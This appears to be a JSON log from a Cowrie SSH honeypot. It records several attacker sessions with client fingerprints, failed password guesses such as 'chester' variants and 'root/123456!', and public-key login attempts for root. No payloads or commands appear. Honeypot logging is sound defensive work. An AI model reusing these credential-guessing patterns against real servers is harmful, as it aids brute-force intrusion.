{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":60666,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f92b12a279","protocol":"ssh","message":"New connection: 103.203.57.2:60666 (159.203.135.109:22) [session: 13f92b12a279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:12:59.268343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:12:59.275656Z","src_ip":"103.203.57.2","session":"13f92b12a279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:12:59.285996Z","src_ip":"103.203.57.2","session":"13f92b12a279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:09.269139Z","src_ip":"103.203.57.2","session":"13f92b12a279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33093,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc99c84defe","protocol":"ssh","message":"New connection: 213.209.159.56:33093 (159.203.135.109:22) [session: 4dc99c84defe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:12.392550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:12.410642Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:12.489224Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester","message":"login attempt [chester/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:12.847539Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester1","message":"login attempt [chester/chester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:13.933140Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester123","message":"login attempt [chester/chester123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:15.018344Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester1234","message":"login attempt [chester/chester1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:16.105502Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester12345","message":"login attempt [chester/chester12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:17.191101Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:18.275960Z","src_ip":"213.209.159.56","session":"4dc99c84defe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55960,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd9a63f12bf","protocol":"ssh","message":"New connection: 194.59.206.2:55960 (10.17.0.5:22) [session: ebd9a63f12bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:24.041130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:24.046605Z","src_ip":"194.59.206.2","session":"ebd9a63f12bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:24.136794Z","src_ip":"194.59.206.2","session":"ebd9a63f12bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:13:24.229201Z","src_ip":"194.59.206.2","session":"ebd9a63f12bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34760,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cc9f99df9b2","protocol":"ssh","message":"New connection: 103.15.226.202:34760 (10.17.0.5:22) [session: 4cc9f99df9b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:14:31.465092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:14:31.470127Z","src_ip":"103.15.226.202","session":"4cc9f99df9b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:14:31.718804Z","src_ip":"103.15.226.202","session":"4cc9f99df9b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!","message":"login attempt [root/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:14:32.475766Z","src_ip":"103.15.226.202","session":"4cc9f99df9b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:14:33.726542Z","src_ip":"103.15.226.202","session":"4cc9f99df9b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":38504,"dst_ip":"10.17.0.5","dst_port":22,"session":"323a50aeee0c","protocol":"ssh","message":"New connection: 172.93.103.2:38504 (10.17.0.5:22) [session: 323a50aeee0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.214919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.219915Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.228199Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:46:96:14:8d:e6:40:07:ce:fb:96:7f:d0:62:8a:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1gr5q/+o4orecOkotgsoYV5NafnWwHiW9yTHHYsC9hFqG3XC3J7Yxzh+542UfzSrE186ZZbKGBMr/2EjK1H5rbFMdUusJnvrFioNSXxc7UPG+SpdoXurz5S7MHpYHbBJMrhTy/VPAXWL5fSeNM6z16adevPvEArLm8nGjgaC2yN0+4gbJgBVgPviHJFGfzJRzvMbUf/lDyWvRZcFz+FzF/GnEkYP25/JWs6IAVcu3brJs4ngkKFkXtNRQ27M/2iMuJ5SNIerEWY47/ZBRIpWe1S29OV4Y+j2K9TiTKlgUimB3TiukcDlaNDw1R4X8WMZCsSFKtA7ScDxsfzu4arF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:46:96:14:8d:e6:40:07:ce:fb:96:7f:d0:62:8a:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.244660Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:46:96:14:8d:e6:40:07:ce:fb:96:7f:d0:62:8a:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1gr5q/+o4orecOkotgsoYV5NafnWwHiW9yTHHYsC9hFqG3XC3J7Yxzh+542UfzSrE186ZZbKGBMr/2EjK1H5rbFMdUusJnvrFioNSXxc7UPG+SpdoXurz5S7MHpYHbBJMrhTy/VPAXWL5fSeNM6z16adevPvEArLm8nGjgaC2yN0+4gbJgBVgPviHJFGfzJRzvMbUf/lDyWvRZcFz+FzF/GnEkYP25/JWs6IAVcu3brJs4ngkKFkXtNRQ27M/2iMuJ5SNIerEWY47/ZBRIpWe1S29OV4Y+j2K9TiTKlgUimB3TiukcDlaNDw1R4X8WMZCsSFKtA7ScDxsfzu4arF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.248237Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:b1:a2:27:17:94:6a:ec:b3:1c:a6:8b:8f:c2:6f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+ehlGSsqQPV90JPXjyY+V4LaI/D/qZ+AV2cW2ty2yKPTa7hnCdhnEZ6EQrcjKkbMXhrRhSI2MEFSs/fSWDU9+jEvFTXOW7go/rlYPfQO4aOnkugarKJFQU2vmAZNDRWcsqB8WE8eBA/f9TDZfEZ3JBL717ICfRDHyFI+uLZ3n4opm68uAWNgU8laUEbV2cOBYX0zLKu5Zjk3cAkSxw8mbK0fqSd61unpje9Grwk35hHzbIaBq+hgkUviMaB8xSfZy8YgT4mpzfmVXd13CN4tgkZ4sV36As5qeqwj2FzI/jsaEq/0f2dUDYRpwrlMeOXaIluW2EH7iDlsxrc3Uy2cX87n3bV3DKCuORUw1xltvN9e7SwISk/E/25NShsdswyxaqaI2gSaYm4Tet3V4RmCbtH5X9GkyBeXLPyQAT2RJDB6f79mRr2qhfdkovRFh2F2oPoTpUKemxWw6tj2UkPeNS/2B+DygBi7wHHsNtcnABxd/a35IhuQKam6KHZiIF2U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:b1:a2:27:17:94:6a:ec:b3:1c:a6:8b:8f:c2:6f:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.255327Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:b1:a2:27:17:94:6a:ec:b3:1c:a6:8b:8f:c2:6f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+ehlGSsqQPV90JPXjyY+V4LaI/D/qZ+AV2cW2ty2yKPTa7hnCdhnEZ6EQrcjKkbMXhrRhSI2MEFSs/fSWDU9+jEvFTXOW7go/rlYPfQO4aOnkugarKJFQU2vmAZNDRWcsqB8WE8eBA/f9TDZfEZ3JBL717ICfRDHyFI+uLZ3n4opm68uAWNgU8laUEbV2cOBYX0zLKu5Zjk3cAkSxw8mbK0fqSd61unpje9Grwk35hHzbIaBq+hgkUviMaB8xSfZy8YgT4mpzfmVXd13CN4tgkZ4sV36As5qeqwj2FzI/jsaEq/0f2dUDYRpwrlMeOXaIluW2EH7iDlsxrc3Uy2cX87n3bV3DKCuORUw1xltvN9e7SwISk/E/25NShsdswyxaqaI2gSaYm4Tet3V4RmCbtH5X9GkyBeXLPyQAT2RJDB6f79mRr2qhfdkovRFh2F2oPoTpUKemxWw6tj2UkPeNS/2B+DygBi7wHHsNtcnABxd/a35IhuQKam6KHZiIF2U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.258584Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:12:fe:01:a3:9a:ed:07:b5:2b:c8:28:2c:7c:2b:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDstmEKVniPnc50PT2TfvmoNPfOU4eaCYZ+4zHLvLFxl+W43HQWKAsVxdwYHxA8WnUb1T4vVvBv7YTi2WpjDppJu1ur3St3XkBVrL7pOrayLhFwiihhDKKo7TlDF55pVw8erRMG5t/EByfMid2eodJrGTt5+SN+Cb+ghiSJI9Fyq+7xlIpBMhAM9bSsd6a+cfK1kd/kvLgcfUCnzTg1Ys75hjGclIQHzEZvoZ17GyjEIOGEc/w0VoF1stiMeqGE2DyP4E7JgxQjOlQGTa9uZJS+c4BdWXBBmPIhYvrabjRt/xKaP1iuv11RL/RpqcgOwEi1jaAeBt+N9FbQfSyfbpCGU7pS+txqCZit0IxSZgTpmEThITF9ya8KrIH6w8fJAXsqxAnSxmky1Iah648ZanPstYOd1kpFEqbOOE3jeiq/FvGOl3Ch2vUJJkEz0JctlIFqckHcv6i3F+/v4XwlLUeWheC25+IkGztDEHA1fASKA8VLJAS6UqRV648d8HzipSY2xOrEDKYhto3T/3K3qZJjOXh1Db9KbgDyXNI3SJVSAyYmly0L7qbmYqUrmk5zgmzcsv7Hdsq5gkpyrG9p2H1z3em/HYVD7KlELApfnb2VStdBwQCrCi3dpR9iZrZSSnhNW92Bmt0/X2IGfe19GRRGFGPl1z0D5iPlBVkPnFbMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:12:fe:01:a3:9a:ed:07:b5:2b:c8:28:2c:7c:2b:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.267294Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:12:fe:01:a3:9a:ed:07:b5:2b:c8:28:2c:7c:2b:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDstmEKVniPnc50PT2TfvmoNPfOU4eaCYZ+4zHLvLFxl+W43HQWKAsVxdwYHxA8WnUb1T4vVvBv7YTi2WpjDppJu1ur3St3XkBVrL7pOrayLhFwiihhDKKo7TlDF55pVw8erRMG5t/EByfMid2eodJrGTt5+SN+Cb+ghiSJI9Fyq+7xlIpBMhAM9bSsd6a+cfK1kd/kvLgcfUCnzTg1Ys75hjGclIQHzEZvoZ17GyjEIOGEc/w0VoF1stiMeqGE2DyP4E7JgxQjOlQGTa9uZJS+c4BdWXBBmPIhYvrabjRt/xKaP1iuv11RL/RpqcgOwEi1jaAeBt+N9FbQfSyfbpCGU7pS+txqCZit0IxSZgTpmEThITF9ya8KrIH6w8fJAXsqxAnSxmky1Iah648ZanPstYOd1kpFEqbOOE3jeiq/FvGOl3Ch2vUJJkEz0JctlIFqckHcv6i3F+/v4XwlLUeWheC25+IkGztDEHA1fASKA8VLJAS6UqRV648d8HzipSY2xOrEDKYhto3T/3K3qZJjOXh1Db9KbgDyXNI3SJVSAyYmly0L7qbmYqUrmk5zgmzcsv7Hdsq5gkpyrG9p2H1z3em/HYVD7KlELApfnb2VStdBwQCrCi3dpR9iZrZSSnhNW92Bmt0/X2IGfe19GRRGFGPl1z0D5iPlBVkPnFbMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.270976Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:81:8c:14:38:d5:3f:b0:b1:b2:d2:f1:ff:52:34:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd29ZFObHJEgPwrR/9lj7oLz9ZMb1WfMHkwCKnoXKdlzwORlJkWZba5e+ARH3/B4svZX/BoZuG/XwsJ4VFRQYkqCOF/UeLTRUHDVu3ZfmKlVZt6yDKATaZwKvJIJz6fdK0P8dN+Z40qMQ6ECmsN6FY9Wu8uFaMk6aJTAqP4m6oAb+HzG73n6FP4ZZKWolKR3EYXh5u8+egoAP2jylvHvNE26b+cOmTLvnStrNBTy/zJN+ElVZQ0p7ADfcLWxrEgtpY7AdKrZd5/tJxVtmt37pgKYyh7jVsUHFLnq8wMqqmsCAVzmA49nLrMF+DXzOORbVGzU4chL1Q6vFH4JF2DKcf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:81:8c:14:38:d5:3f:b0:b1:b2:d2:f1:ff:52:34:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:16:56.278451Z","src_ip":"172.93.103.2","session":"323a50aeee0c","protocol":"ssh"}
